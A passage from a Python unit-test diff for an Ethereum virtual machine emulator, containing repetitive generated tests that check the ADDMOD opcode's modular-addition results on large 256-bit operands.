+            self.assertEqual(new_vm.stack, [80L])
+
+    def test_ADDMOD_387(self):
+            #Make the constraint store
+            constraints = ConstraintSet()
+            #make the ethereum world state
+            world = evm.EVMWorld(constraints)
+
+            address=0x222222222222222222222222222222222222200
+            caller=origin=0x111111111111111111111111111111111111100
+            price=0
+            value=10000
+            bytecode='\x08'
+            data = 'AAAAAAAAAAAAAAAAAAAAAAAAAAAAAA'
+            header = { 'coinbase': 0,
+                        'timestamp': 0,
+                        'number': 0,
+                        'difficulty': 0,
+                        'gaslimit': 0,
+                        }
+            gas = 1000000
+
+            new_vm = evm.EVM(constraints, address, origin, price, data, caller, value, bytecode, header, gas=gas, global_storage=world.storage)
+            new_vm._push(3618502788666131106986593281521497120414687020801267626233049500247285301263L)
+            new_vm._push(32)
+            new_vm._push(6089590155545428825848686802984512581899718912L)
+            last_exception, last_returned = self._execute(new_vm)
+            self.assertEqual(last_exception, None)
+            self.assertEqual(new_vm.pc, 1)
+            self.assertEqual(new_vm.stack, [6089590155545428825848686802984512581899718944L])
+
+    def test_ADDMOD_388(self):
+            #Make the constraint store
+            constraints = ConstraintSet()
+            #make the ethereum world state
+            world = evm.EVMWorld(constraints)
+
+            address=0x222222222222222222222222222222222222200
+            caller=origin=0x111111111111111111111111111111111111100
+            price=0
+            value=10000
+            bytecode='\x08'
+            data = 'AAAAAAAAAAAAAAAAAAAAAAAAAAAAAA'
+            header = { 'coinbase': 0,
+                        'timestamp': 0,
+                        'number': 0,
+                        'difficulty': 0,
+                        'gaslimit': 0,
+                        }
+            gas = 1000000
+
+            new_vm = evm.EVM(constraints, address, origin, price, data, caller, value, bytecode, header, gas=gas, global_storage=world.storage)
+            new_vm._push(3618502788666131106986593281521497120414687020801267626233049500247285301263L)
+            new_vm._push(48)
+            new_vm._push(115792089237316195423570985008687907853269984665640564039457584007913129639935L)
+            last_exception, last_returned = self._execute(new_vm)
+            self.assertEqual(last_exception, None)
+            self.assertEqual(new_vm.pc, 1)
+            self.assertEqual(new_vm.stack, [3618502788666131106986593281521497120414687020801267626233049500247285300830L])
+
+    def test_ADDMOD_389(self):
+            #Make the constraint store
+            constraints = ConstraintSet()
+            #make the ethereum world state
+            world = evm.EVMWorld(constraints)
+
+            address=0x222222222222222222222222222222222222200
+            caller=origin=0x111111111111111111111111111111111111100
+            price=0
+            value=10000
+            bytecode='\x08'
+            data = 'AAAAAAAAAAAAAAAAAAAAAAAAAAAAAA'
+            header = { 'coinbase': 0,
+                        'timestamp': 0,
+                        'number': 0,
+                        'difficulty': 0,
+                        'gaslimit': 0,
+                        }
+            gas = 1000000
+
+            new_vm = evm.EVM(constraints, address, origin, price, data, caller, value, bytecode, header, gas=gas, global_storage=world.storage)
+            new_vm._push(3618502788666131106986593281521497120414687020801267626233049500247285301263L)
+            new_vm._push(48)
+            new_vm._push(0)
+            last_exception, last_returned = self._execute(new_vm)
+            self.assertEqual(last_exception, None)
+            self.assertEqual(new_vm.pc, 1)
+            self.assertEqual(new_vm.stack, [48L])
+
+    def test_ADDMOD_390(self):
+            #Make the constraint store
+            constraints = ConstraintSet()
+            #make the ethereum world state
+            world = evm.EVMWorld(constraints)
+
+            address=0x222222222222222222222222222222222222200
+            caller=origin=0x111111111111111111111111111111111111100
+            price=0
+            value=10000
+            bytecode='\x08'
+            data = 'AAAAAAAAAAAAAAAAAAAAAAAAAAAAAA'
+            header = { 'coinbase': 0,
+                        'timestamp': 0,
+                        'number': 0,
+                        'difficulty': 0,
+                        'gaslimit': 0,
+                        }
+            gas = 1000000
+
+            new_vm = evm.EVM(constraints, address, origin, price, data, caller, value, bytecode, header, gas=gas, global_storage=world.storage)
+            new_vm._push(3618502788666131106986593281521497120414687020801267626233049500247285301263L)
+            new_vm._push(48)
+            new_vm._push(1)
+            last_exception, last_returned = self._execute(new_vm)
+            self.assertEqual(last_exception, None)
+            self.assertEqual(new_vm.pc, 1)
+            self.assertEqual(new_vm.stack, [49L])
+
+    def test_ADDMOD_391(self):
+            #Make the constraint store
+            constraints = ConstraintSet()
+            #make the ethereum world state
+            world = evm.EVMWorld(constraints)
+
+            address=0x222222222222222222222222222222222222200
+            caller=origin=0x111111111111111111111111111111111111100
+            price=0
+            value=10000
+            bytecode='\x08'
+            data = 'AAAAAAAAAAAAAAAAAAAAAAAAAAAAAA'
+            header = { 'coinbase': 0,
+                        'timestamp': 0,
+                        'number': 0,
+                        'difficulty': 0,
+                        'gaslimit': 0,
+                        }
+            gas = 1000000
+
+            new_vm = evm.EVM(constraints, address, origin, price, data, caller, value, bytecode, header, gas=gas, global_storage=world.storage)
+            new_vm._push(3618502788666131106986593281521497120414687020801267626233049500247285301263L)
+            new_vm._push(48)
+            new_vm._push(57896044618658097711785492504343953926634992332820282019728792003956564819952L)
+            last_exception, last_returned = self._execute(new_vm)
+            self.assertEqual(last_exception, None)
+            self.assertEqual(new_vm.pc, 1)
+            self.assertEqual(new_vm.stack, [3618502788666131106986593281521497120414687020801267626233049500247285301055L])
+
+    def test_ADDMOD_392(self):
+            #Make the constraint store
+            constraints = ConstraintSet()
+            #make the ethereum world state
+            world = evm.EVMWorld(constraints)
+
+            address=0x222222222222222222222222222222222222200
+            caller=origin=0x111111111111111111111111111111111111100
+            price=0
+            value=10000
+            bytecode='\x08'
+            data = 'AAAAAAAAAAAAAAAAAAAAAAAAAAAAAA'
+            header = { 'coinbase': 0,
+                        'timestamp': 0,
+                        'number': 0,
+                        'difficulty': 0,
+                        'gaslimit': 0,
+                        }
+            gas = 1000000
+
+            new_vm = evm.EVM(constraints, address, origin, price, data, caller, value, bytecode, header, gas=gas, global_storage=world.storage)
+            new_vm._push(3618502788666131106986593281521497120414687020801267626233049500247285301263L)
+            new_vm._push(48)
+            new_vm._push(3618502788666131106986593281521497120414687020801267626233049500247285301263L)
+            last_exception, last_returned = self._execute(new_vm)
+            self.assertEqual(last_exception, None)
+            self.assertEqual(new_vm.pc, 1)
+            self.assertEqual(new_vm.stack, [48L])
+
+    def test_ADDMOD_393(self):
+            #Make the constraint store
+            constraints = ConstraintSet()
+            #make the ethereum world state
+            world = evm.EVMWorld(constraints)
+
+            address=0x222222222222222222222222222222222222200
+            caller=origin=0x111111111111111111111111111111111111100
+            price=0
+            value=10000
+            bytecode='\x08'
+            data = 'AAAAAAAAAAAAAAAAAAAAAAAAAAAAAA'
+            header = { 'coinbase': 0,
+                        'timestamp': 0,
+                        'number': 0,
+                        'difficulty': 0,
+                        'gaslimit': 0,
+                        }
+            gas = 1000000
+
+            new_vm = evm.EVM(constraints, address, origin, price, data, caller, value, bytecode, header, gas=gas, global_storage=world.storage)
+            new_vm._push(3618502788666131106986593281521497120414687020801267626233049500247285301263L)
+            new_vm._push(48)
+            new_vm._push(16)
+            last_exception, last_returned = self._execute(new_vm)
+            self.assertEqual(last_exception, None)
+            self.assertEqual(new_vm.pc, 1)
+            self.assertEqual(new_vm.stack, [64L])
+
+    def test_ADDMOD_394(self):
+            #Make the constraint store
+            constraints = ConstraintSet()
+            #make the ethereum world state
+            world = evm.EVMWorld(constraints)
+
+            address=0x222222222222222222222222222222222222200
+            caller=origin=0x111111111111111111111111111111111111100
+            price=0
+            value=10000
+            bytecode='\x08'
+            data = 'AAAAAAAAAAAAAAAAAAAAAAAAAAAAAA'
+            header = { 'coinbase': 0,
+                        'timestamp': 0,
+                        'number': 0,
+                        'difficulty': 0,
+                        'gaslimit': 0,
+                        }
+            gas = 1000000
+
+            new_vm = evm.EVM(constraints, address, origin, price, data, caller, value, bytecode, header, gas=gas, global_storage=world.storage)
+            new_vm._push(3618502788666131106986593281521497120414687020801267626233049500247285301263L)
+            new_vm._push(48)
+            new_vm._push(32)
+            last_exception, last_returned = self._execute(new_vm)
+            self.assertEqual(last_exception, None)
+            self.assertEqual(new_vm.pc, 1)
+            self.assertEqual(new_vm.stack, [80L])
+
+    def test_ADDMOD_395(self):
+            #Make the constraint store
+            constraints = ConstraintSet()
+            #make the ethereum world state
+            world = evm.EVMWorld(constraints)
+
+            address=0x222222222222222222222222222222222222200
+            caller=origin=0x111111111111111111111111111111111111100
+            price=0
+            value=10000
+            bytecode='\x08'
+            data = 'AAAAAAAAAAAAAAAAAAAAAAAAAAAAAA'
+            header = { 'coinbase': 0,
+                        'timestamp': 0,
+                        'number': 0,
+                        'difficulty': 0,
+                        'gaslimit': 0,
+                        }
+            gas = 1000000
+
+            new_vm = evm.EVM(constraints, address, origin, price, data, caller, value, bytecode, header, gas=gas, global_storage=world.storage)
+            new_vm._push(3618502788666131106986593281521497120414687020801267626233049500247285301263L)
+            new_vm._push(48)
+            new_vm._push(48)
+            last_exception, last_returned = self._execute(new_vm)
+            self.assertEqual(last_exception, None)
+            self.assertEqual(new_vm.pc, 1)
+            self.assertEqual(new_vm.stack, [96L])
+
+    def test_ADDMOD_396(self):
+            #Make the constraint store
+            constraints = ConstraintSet()
+            #make the ethereum world state
+            world = evm.EVMWorld(constraints)
+
+            address=0x222222222222222222222222222222222222200
+            caller=origin=0x111111111111111111111111111111111111100
+            price=0
+            value=10000
+            bytecode='\x08'
+            data = 'AAAAAAAAAAAAAAAAAAAAAAAAAAAAAA'
+            header = { 'coinbase': 0,
+                        'timestamp': 0,
+                        'number': 0,
+                        'difficulty': 0,
+                        'gaslimit': 0,
+                        }
+            gas = 1000000
+
+            new_vm = evm.EVM(constraints, address, origin, price, data, caller, value, bytecode, header, gas=gas, global_storage=world.storage)
+            new_vm._push(3618502788666131106986593281521497120414687020801267626233049500247285301263L)
+            new_vm._push(48)
+            new_vm._push(6089590155545428825848686802984512581899718912L)
+            last_exception, last_returned = self._execute(new_vm)
+            self.assertEqual(last_exception, None)
+            self.assertEqual(new_vm.pc, 1)
+            self.assertEqual(new_vm.stack, [6089590155545428825848686802984512581899718960L])
+
+    def test_ADDMOD_397(self):
+            #Make the constraint store
+            constraints = ConstraintSet()
+            #make the ethereum world state
+            world = evm.EVMWorld(constraints)
+
+            address=0x222222222222222222222222222222222222200
+            caller=origin=0x111111111111111111111111111111111111100
+            price=0
+            value=10000
+            bytecode='\x08'
+            data = 'AAAAAAAAAAAAAAAAAAAAAAAAAAAAAA'
+            header = { 'coinbase': 0,
+                        'timestamp': 0,
+                        'number': 0,
+                        'difficulty': 0,
+                        'gaslimit': 0,
+                        }
+            gas = 1000000
+
+            new_vm = evm.EVM(constraints, address, origin, price, data, caller, value, bytecode, header, gas=gas, global_storage=world.storage)
+            new_vm._push(3618502788666131106986593281521497120414687020801267626233049500247285301263L)
+            new_vm._push(6089590155545428825848686802984512581899718912L)
+            new_vm._push(115792089237316195423570985008687907853269984665640564039457584007913129639935L)
+            last_exception, last_returned = self._execute(new_vm)
+            self.assertEqual(last_exception, None)
+            self.assertEqual(new_vm.pc, 1)
+            self.assertEqual(new_vm.stack, [6089590155545428825848686802984512581899718431L])
+
+    def test_ADDMOD_398(self):
+            #Make the constraint store
+            constraints = ConstraintSet()
+            #make the ethereum world state
+            world = evm.EVMWorld(constraints)
+
+            address=0x222222222222222222222222222222222222200
+            caller=origin=0x111111111111111111111111111111111111100
+            price=0
+            value=10000
+            bytecode='\x08'
+            data = 'AAAAAAAAAAAAAAAAAAAAAAAAAAAAAA'
+            header = { 'coinbase': 0,
+                        'timestamp': 0,
+                        'number': 0,
+                        'difficulty': 0,
+                        'gaslimit': 0,
+                        }
+            gas = 1000000
+
+            new_vm = evm.EVM(constraints, address, origin, price, data, caller, value, bytecode, header, gas=gas, global_storage=world.storage)
+            new_vm._push(3618502788666131106986593281521497120414687020801267626233049500247285301263L)
+            new_vm._push(6089590155545428825848686802984512581899718912L)
+            new_vm._push(0)
+            last_exception, last_returned = self._execute(new_vm)
+            self.assertEqual(last_exception, None)
+            self.assertEqual(new_vm.pc, 1)
+            self.assertEqual(new_vm.stack, [6089590155545428825848686802984512581899718912L])
+
+    def test_ADDMOD_399(self):
+            #Make the constraint store
+            constraints = ConstraintSet()
+            #make the ethereum world state
+            world = evm.EVMWorld(constraints)
+
+            address=0x222222222222222222222222222222222222200
+            caller=origin=0x111111111111111111111111111111111111100
+            price=0
+            value=10000
+            bytecode='\x08'
+            data = 'AAAAAAAAAAAAAAAAAAAAAAAAAAAAAA'
+            header = { 'coinbase': 0,
+                        'timestamp': 0,
+                        'number': 0,
+                        'difficulty': 0,
+                        'gaslimit': 0,
+                        }
+            gas = 1000000
+
+            new_vm = evm.EVM(constraints, address, origin, price, data, caller, value, bytecode, header, gas=gas, global_storage=world.storage)
+            new_vm._push(3618502788666131106986593281521497120414687020801267626233049500247285301263L)
+            new_vm._push(6089590155545428825848686802984512581899718912L)
+            new_vm._push(1)
+            last_exception, last_returned = self._execute(new_vm)
+            self.assertEqual(last_exception, None)
+            self.assertEqual(new_vm.pc, 1)
+            self.assertEqual(new_vm.stack, [6089590155545428825848686802984512581899718913L])
+
+    def test_ADDMOD_400(self):
+            #Make the constraint store
+            constraints = ConstraintSet()
+            #make the ethereum world state
+            world = evm.EVMWorld(constraints)
+
+            address=0x222222222222222222222222222222222222200
+            caller=origin=0x111111111111111111111111111111111111100
+            price=0
+            value=10000
+            bytecode='\x08'
+            data = 'AAAAAAAAAAAAAAAAAAAAAAAAAAAAAA'
+            header = { 'coinbase': 0,
+                        'timestamp': 0,
+                        'number': 0,
+                        'difficulty': 0,
+                        'gaslimit': 0,
+                        }
+            gas = 1000000
+
+            new_vm = evm.EVM(constraints, address, origin, price, data, caller, value, bytecode, header, gas=gas, global_storage=world.storage)
+            new_vm._push(3618502788666131106986593281521497120414687020801267626233049500247285301263L)
+            new_vm._push(6089590155545428825848686802984512581899718912L)
+            new_vm._push(57896044618658097711785492504343953926634992332820282019728792003956564819952L)
+            last_exception, last_returned = self._execute(new_vm)
+            self.assertEqual(last_exception, None)
+            self.assertEqual(new_vm.pc, 1)
+            self.assertEqual(new_vm.stack, [6089590155545428825848686802984512581899718656L])
+
+    def test_ADDMOD_401(self):
+            #Make the constraint store
+            constraints = ConstraintSet()
+            #make the ethereum world state
+            world = evm.EVMWorld(constraints)
+
+            address=0x222222222222222222222222222222222222200
+            caller=origin=0x111111111111111111111111111111111111100
+            price=0
+            value=10000
+            bytecode='\x08'
+            data = 'AAAAAAAAAAAAAAAAAAAAAAAAAAAAAA'
+            header = { 'coinbase': 0,
+                        'timestamp': 0,
+                        'number': 0,
+                        'difficulty': 0,
+                        'gaslimit': 0,
+                        }
+            gas = 1000000
+
+            new_vm = evm.EVM(constraints, address, origin, price, data, caller, value, bytecode, header, gas=gas, global_storage=world.storage)
+            new_vm._push(3618502788666131106986593281521497120414687020801267626233049500247285301263L)
+            new_vm._push(6089590155545428825848686802984512581899718912L)
+            new_vm._push(3618502788666131106986593281521497120414687020801267626233049500247285301263L)
+            last_exception, last_returned = self._execute(new_vm)
+            self.assertEqual(last_exception, None)
+            self.assertEqual(new_vm.pc, 1)
+            self.assertEqual(new_vm.stack, [6089590155545428825848686802984512581899718912L])
+
+    def test_ADDMOD_402(self):
+            #Make the constraint store
+            constraints = ConstraintSet()
+            #make the ethereum world state
+            world = evm.EVMWorld(constraints)
+
+            address=0x222222222222222222222222222222222222200
+            caller=origin=0x111111111111111111111111111111111111100
+            price=0
+            value=10000
+            bytecode='\x08'
+            data = 'AAAAAAAAAAAAAAAAAAAAAAAAAAAAAA'
+            header = { 'coinbase': 0,
+                        'timestamp': 0,
+                        'number': 0,
+                        'difficulty': 0,
+                        'gaslimit': 0,
+                        }
+            gas = 1000000
+
+            new_vm = evm.EVM(constraints, address, origin, price, data, caller, value, bytecode, header, gas=gas, global_storage=world.storage)
+            new_vm._push(3618502788666131106986593281521497120414687020801267626233049500247285301263L)
+            new_vm._push(6089590155545428825848686802984512581899718912L)
+            new_vm._push(16)
+            last_exception, last_returned = self._execute(new_vm)
+            self.assertEqual(last_exception, None)
+            self.assertEqual(new_vm.pc, 1)
+            self.assertEqual(new_vm.stack, [6089590155545428825848686802984512581899718928L])
+
+    def test_ADDMOD_403(self):
+            #Make the constraint store
+            constraints = ConstraintSet()
+            #make the ethereum world state
+            world = evm.EVMWorld(constraints)
+
+            address=0x222222222222222222222222222222222222200
+            caller=origin=0x111111111111111111111111111111111111100
+            price=0
+            value=10000
+            bytecode='\x08'
+            data = 'AAAAAAAAAAAAAAAAAAAAAAAAAAAAAA'
+            header = { 'coinbase': 0,
+                        'timestamp': 0,
+                        'number': 0,
+                        'difficulty': 0,
+                        'gaslimit': 0,
+                        }
+            gas = 1000000
+
+            new_vm = evm.EVM(constraints, address, origin, price, data, caller, value, bytecode, header, gas=gas, global_storage=world.storage)
+            new_vm._push(3618502788666131106986593281521497120414687020801267626233049500247285301263L)
+            new_vm._push(6089590155545428825848686802984512581899718912L)
+            new_vm._push(32)
+            last_exception, last_returned = self._execute(new_vm)
+            self.assertEqual(last_exception, None)
+            self.assertEqual(new_vm.pc, 1)
+            self.assertEqual(new_vm.stack, [6089590155545428825848686802984512581899718944L])
+
+    def test_ADDMOD_404(self):
+            #Make the constraint store
+            constraints = ConstraintSet()
+            #make the ethereum world state
+            world = evm.EVMWorld(constraints)
+
+            address=0x222222222222222222222222222222222222200
+            caller=origin=0x111111111111111111111111111111111111100
+            price=0
+            value=10000
+            bytecode='\x08'
+            data = 'AAAAAAAAAAAAAAAAAAAAAAAAAAAAAA'
+            header = { 'coinbase': 0,
+                        'timestamp': 0,
+                        'number': 0,
+                        'difficulty': 0,
+                        'gaslimit': 0,
+                        }
+            gas = 1000000
+
+            new_vm = evm.EVM(constraints, address, origin, price, data, caller, value, bytecode, header, gas=gas, global_storage=world.storage)
+            new_vm._push(3618502788666131106986593281521497120414687020801267626233049500247285301263L)
+            new_vm._push(6089590155545428825848686802984512581899718912L)
+            new_vm._push(48)
+            last_exception, last_returned = self._execute(new_vm)
+            self.assertEqual(last_exception, None)
+            self.assertEqual(new_vm.pc, 1)
+            self.assertEqual(new_vm.stack, [6089590155545428825848686802984512581899718960L])
+
+    def test_ADDMOD_405(self):
+            #Make the constraint store
+            constraints = ConstraintSet()
+            #make the ethereum world state
+            world = evm.EVMWorld(constraints)
+
+            address=0x222222222222222222222222222222222222200
+            caller=origin=0x111111111111111111111111111111111111100
+            price=0
+            value=10000
+            bytecode='\x08'
+            data = 'AAAAAAAAAAAAAAAAAAAAAAAAAAAAAA'
+            header = { 'coinbase': 0,
+                        'timestamp': 0,
+                        'number': 0,
+                        'difficulty': 0,
+                        'gaslimit': 0,
+                        }
+            gas = 1000000
+
+            new_vm = evm.EVM(constraints, address, origin, price, data, caller, value, bytecode, header, gas=gas, global_storage=world.storage)
+            new_vm._push(3618502788666131106986593281521497120414687020801267626233049500247285301263L)
+            new_vm._push(6089590155545428825848686802984512581899718912L)
+            new_vm._push(6089590155545428825848686802984512581899718912L)
+            last_exception, last_returned = self._execute(new_vm)
+            self.assertEqual(last_exception, None)
+            self.assertEqual(new_vm.pc, 1)
+            self.assertEqual(new_vm.stack, [12179180311090857651697373605969025163799437824L])
+
+    def test_ADDMOD_406(self):
+            #Make the constraint store
+            constraints = ConstraintSet()
+            #make the ethereum world state
+            world = evm.EVMWorld(constraints)
+
+            address=0x222222222222222222222222222222222222200
+            caller=origin=0x111111111111111111111111111111111111100
+            price=0
+            value=10000
+            bytecode='\x08'
+            data = 'AAAAAAAAAAAAAAAAAAAAAAAAAAAAAA'
+            header = { 'coinbase': 0,
+                        'timestamp': 0,
+                        'number': 0,
+                        'difficulty': 0,
+                        'gaslimit': 0,
+                        }
+            gas = 1000000
+
+            new_vm = evm.EVM(constraints, address, origin, price, data, caller, value, bytecode, header, gas=gas, global_storage=world.storage)
+            new_vm._push(16)
+            new_vm._push(115792089237316195423570985008687907853269984665640564039457584007913129639935L)
+            new_vm._push(115792089237316195423570985008687907853269984665640564039457584007913129639935L)
+            last_exception, last_returned = self._execute(new_vm)
+            self.assertEqual(last_exception, None)
+            self.assertEqual(new_vm.pc, 1)
+            self.assertEqual(new_vm.stack, [14L])
+
+    def test_ADDMOD_407(self):
+            #Make the constraint store
+            constraints = ConstraintSet()
+            #make the ethereum world state
+            world = evm.EVMWorld(constraints)
+
+            address=0x222222222222222222222222222222222222200
+            caller=origin=0x111111111111111111111111111111111111100
+            price=0
+            value=10000
+            bytecode='\x08'
+            data = 'AAAAAAAAAAAAAAAAAAAAAAAAAAAAAA'
+            header = { 'coinbase': 0,
+                        'timestamp': 0,
+                        'number': 0,
+                        'difficulty': 0,
+                        'gaslimit': 0,
+                        }
+            gas = 1000000
+
+            new_vm = evm.EVM(constraints, address, origin, price, data, caller, value, bytecode, header, gas=gas, global_storage=world.storage)
+            new_vm._push(16)
+            new_vm._push(115792089237316195423570985008687907853269984665640564039457584007913129639935L)
+            new_vm._push(0)
+            last_exception, last_returned = self._execute(new_vm)
+            self.assertEqual(last_exception, None)
+            self.assertEqual(new_vm.pc, 1)
+            self.assertEqual(new_vm.stack, [15L])
+
+    def test_ADDMOD_408(self):
+            #Make the constraint store
+            constraints = ConstraintSet()
+            #make the ethereum world state
+            world = evm.EVMWorld(constraints)
+
+            address=0x222222222222222222222222222222222222200
+            caller=origin=0x111111111111111111111111111111111111100
+            price=0
+            value=10000
+            bytecode='\x08'
+            data = 'AAAAAAAAAAAAAAAAAAAAAAAAAAAAAA'
+            header = { 'coinbase': 0,
+                        'timestamp': 0,
+                        'number': 0,
+                        'difficulty': 0,
+                        'gaslimit': 0,
+                        }
+            gas = 1000000
+
+            new_vm = evm.EVM(constraints, address, origin, price, data, caller, value, bytecode, header, gas=gas, global_storage=world.storage)
+            new_vm._push(16)
+            new_vm._push(115792089237316195423570985008687907853269984665640564039457584007913129639935L)
+            new_vm._push(1)
+            last_exception, last_returned = self._execute(new_vm)
+            self.assertEqual(last_exception, None)
+            self.assertEqual(new_vm.pc, 1)
+            self.assertEqual(new_vm.stack, [0L])
+
+    def test_ADDMOD_409(self):
+            #Make the constraint store
+            constraints = ConstraintSet()
+            #make the ethereum world state
+            world = evm.EVMWorld(constraints)
+
+            address=0x222222222222222222222222222222222222200
+            caller=origin=0x111111111111111111111111111111111111100
+            price=0
+            value=10000
+            bytecode='\x08'
+            data = 'AAAAAAAAAAAAAAAAAAAAAAAAAAAAAA'
+            header = { 'coinbase': 0,
+                        'timestamp': 0,
+                        'number': 0,
+                        'difficulty': 0,
+                        'gaslimit': 0,
+                        }
+            gas = 1000000
+
+            new_vm = evm.EVM(constraints, address, origin, price, data, caller, value, bytecode, header, gas=gas, global_storage=world.storage)
+            new_vm._push(16)
+            new_vm._push(115792089237316195423570985008687907853269984665640564039457584007913129639935L)
+            new_vm._push(57896044618658097711785492504343953926634992332820282019728792003956564819952L)
+            last_exception, last_returned = self._execute(new_vm)
+            self.assertEqual(last_exception, None)
+            self.assertEqual(new_vm.pc, 1)
+            self.assertEqual(new_vm.stack, [15L])
+
+    def test_ADDMOD_410(self):
+            #Make the constraint store
+            constraints = ConstraintSet()
+            #make the ethereum world state
+            world = evm.EVMWorld(constraints)
+
+            address=0x222222222222222222222222222222222222200
+            caller=origin=0x111111111111111111111111111111111111100
+            price=0
+            value=10000
+            bytecode='\x08'
+            data = 'AAAAAAAAAAAAAAAAAAAAAAAAAAAAAA'
+            header = { 'coinbase': 0,
+                        'timestamp': 0,
+                        'number': 0,
+                        'difficulty': 0,
+                        'gaslimit': 0,
+                        }
+            gas = 1000000
+
+            new_vm = evm.EVM(constraints, address, origin, price, data, caller, value, bytecode, header, gas=gas, global_storage=world.storage)
+            new_vm._push(16)
+            new_vm._push(115792089237316195423570985008687907853269984665640564039457584007913129639935L)
+            new_vm._push(3618502788666131106986593281521497120414687020801267626233049500247285301263L)
+            last_exception, last_returned = self._execute(new_vm)
+            self.assertEqual(last_exception, None)
+            self.assertEqual(new_vm.pc, 1)
+            self.assertEqual(new_vm.stack, [14L])
+
+    def test_ADDMOD_411(self):
+            #Make the constraint store
+            constraints = ConstraintSet()
+            #make the ethereum world state
+            world = evm.EVMWorld(constraints)
+
+            address=0x222222222222222222222222222222222222200
+            caller=origin=0x111111111111111111111111111111111111100
+            price=0
+            value=10000
+            bytecode='\x08'
+            data = 'AAAAAAAAAAAAAAAAAAAAAAAAAAAAAA'
+            header = { 'coinbase': 0,
+                        'timestamp': 0,
+                        'number': 0,
+                        'difficulty': 0,
+                        'gaslimit': 0,
+                        }
+            gas = 1000000
+
+            new_vm = evm.EVM(constraints, address, origin, price, data, caller, value, bytecode, header, gas=gas, global_storage=world.storage)
+            new_vm._push(16)
+            new_vm._push(115792089237316195423570985008687907853269984665640564039457584007913129639935L)
+            new_vm._push(16)
+            last_exception, last_returned = self._execute(new_vm)
+            self.assertEqual(last_exception, None)
+            self.assertEqual(new_vm.pc, 1)
+            self.assertEqual(new_vm.stack, [15L])
+
+    def test_ADDMOD_412(self):
+            #Make the constraint store
+            constraints = ConstraintSet()
+            #make the ethereum world state
+            world = evm.EVMWorld(constraints)
+
+            address=0x222222222222222222222222222222222222200
+            caller=origin=0x111111111111111111111111111111111111100
+            price=0
+            value=10000
+            bytecode='\x08'
+            data = 'AAAAAAAAAAAAAAAAAAAAAAAAAAAAAA'
+            header = { 'coinbase': 0,
+                        'timestamp': 0,
+                        'number': 0,
+                        'difficulty': 0,
+                        'gaslimit': 0,
+                        }
+            gas = 1000000
+
+            new_vm = evm.EVM(constraints, address, origin, price, data, caller, value, bytecode, header, gas=gas, global_storage=world.storage)
+            new_vm._push(16)
+            new_vm._push(115792089237316195423570985008687907853269984665640564039457584007913129639935L)
+            new_vm._push(32)
+            last_exception, last_returned = self._execute(new_vm)
+            self.assertEqual(last_exception, None)
+            self.assertEqual(new_vm.pc, 1)
+            self.assertEqual(new_vm.stack, [15L])
+
+    def test_ADDMOD_413(self):
+            #Make the constraint store
+            constraints = ConstraintSet()
+            #make the ethereum world state
+            world = evm.EVMWorld(constraints)
+
+            address=0x222222222222222222222222222222222222200
+            caller=origin=0x111111111111111111111111111111111111100
+            price=0
+            value=10000
+            bytecode='\x08'
+            data = 'AAAAAAAAAAAAAAAAAAAAAAAAAAAAAA'
+            header = { 'coinbase': 0,
+                        'timestamp': 0,
+                        'number': 0,
+                        'difficulty': 0,
+                        'gaslimit': 0,
+                        }
+            gas = 1000000
+
+            new_vm = evm.EVM(constraints, address, origin, price, data, caller, value, bytecode, header, gas=gas, global_storage=world.storage)
+            new_vm._push(16)
+            new_vm._push(115792089237316195423570985008687907853269984665640564039457584007913129639935L)
+            new_vm._push(48)
+            last_exception, last_returned = self._execute(new_vm)
+            self.assertEqual(last_exception, None)
+            self.assertEqual(new_vm.pc, 1)
+            self.assertEqual(new_vm.stack, [15L])
+
+    def test_ADDMOD_414(self):
+            #Make the constraint store
+            constraints = ConstraintSet()
+            #make the ethereum world state
+            world = evm.EVMWorld(constraints)
+
+            address=0x222222222222222222222222222222222222200
+            caller=origin=0x111111111111111111111111111111111111100
+            price=0
+            value=10000
+            bytecode='\x08'
+            data = 'AAAAAAAAAAAAAAAAAAAAAAAAAAAAAA'
+            header = { 'coinbase': 0,
+                        'timestamp': 0,
+                        'number': 0,
+                        'difficulty': 0,
+                        'gaslimit': 0,
+                        }
+            gas = 1000000
+
+            new_vm = evm.EVM(constraints, address, origin, price, data, caller, value, bytecode, header, gas=gas, global_storage=world.storage)
+            new_vm._push(16)
+            new_vm._push(115792089237316195423570985008687907853269984665640564039457584007913129639935L)
+            new_vm._push(6089590155545428825848686802984512581899718912L)
+            last_exception, last_returned = self._execute(new_vm)
+            self.assertEqual(last_exception, None)
+            self.assertEqual(new_vm.pc, 1)
+            self.assertEqual(new_vm.stack, [15L])
+
+    def test_ADDMOD_415(self):
+            #Make the constraint store
+            constraints = ConstraintSet()
+            #make the ethereum world state
+            world = evm.EVMWorld(constraints)
+
+            address=0x222222222222222222222222222222222222200
+            caller=origin=0x111111111111111111111111111111111111100
+            price=0
+            value=10000
+            bytecode='\x08'
+            data = 'AAAAAAAAAAAAAAAAAAAAAAAAAAAAAA'
+            header = { 'coinbase': 0,
+                        'timestamp': 0,
+                        'number': 0,
+                        'difficulty': 0,
+                        'gaslimit': 0,
+                        }
+            gas = 1000000
+
+            new_vm = evm.EVM(constraints, address, origin, price, data, caller, value, bytecode, header, gas=gas, global_storage=world.storage)
+            new_vm._push(16)
+            new_vm._push(0)
+            new_vm._push(115792089237316195423570985008687907853269984665640564039457584007913129639935L)
+            last_exception, last_returned = self._execute(new_vm)
+            self.assertEqual(last_exception, None)
+            self.assertEqual(new_vm.pc, 1)
+            self.assertEqual(new_vm.stack, [15L])
+
+    def test_ADDMOD_416(self):
+            #Make the constraint store
+            constraints = ConstraintSet()
+            #make the ethereum world state
+            world = evm.EVMWorld(constraints)
+
+            address=0x222222222222222222222222222222222222200
+            caller=origin=0x111111111111111111111111111111111111100
+            price=0
+            value=10000
+            bytecode='\x08'
+            data = 'AAAAAAAAAAAAAAAAAAAAAAAAAAAAAA'
+            header = { 'coinbase': 0,
+                        'timestamp': 0,
+                        'number': 0,
+                        'difficulty': 0,
+                        'gaslimit': 0,
+                        }
+            gas = 1000000
+
+            new_vm = evm.EVM(constraints, address, origin, price, data, caller, value, bytecode, header, gas=gas, global_storage=world.storage)
+            new_vm._push(16)
+            new_vm._push(0)
+            new_vm._push(0)
+            last_exception, last_returned = self._execute(new_vm)
+            self.assertEqual(last_exception, None)
+            self.assertEqual(new_vm.pc, 1)
+            self.assertEqual(new_vm.stack, [0])
+
+    def test_ADDMOD_417(self):
+            #Make the constraint store
+            constraints = ConstraintSet()
+            #make the ethereum world state
+            world = evm.EVMWorld(constraints)
+
+            address=0x222222222222222222222222222222222222200
+            caller=origin=0x111111111111111111111111111111111111100
+            price=0
+            value=10000
+            bytecode='\x08'
+            data = 'AAAAAAAAAAAAAAAAAAAAAAAAAAAAAA'
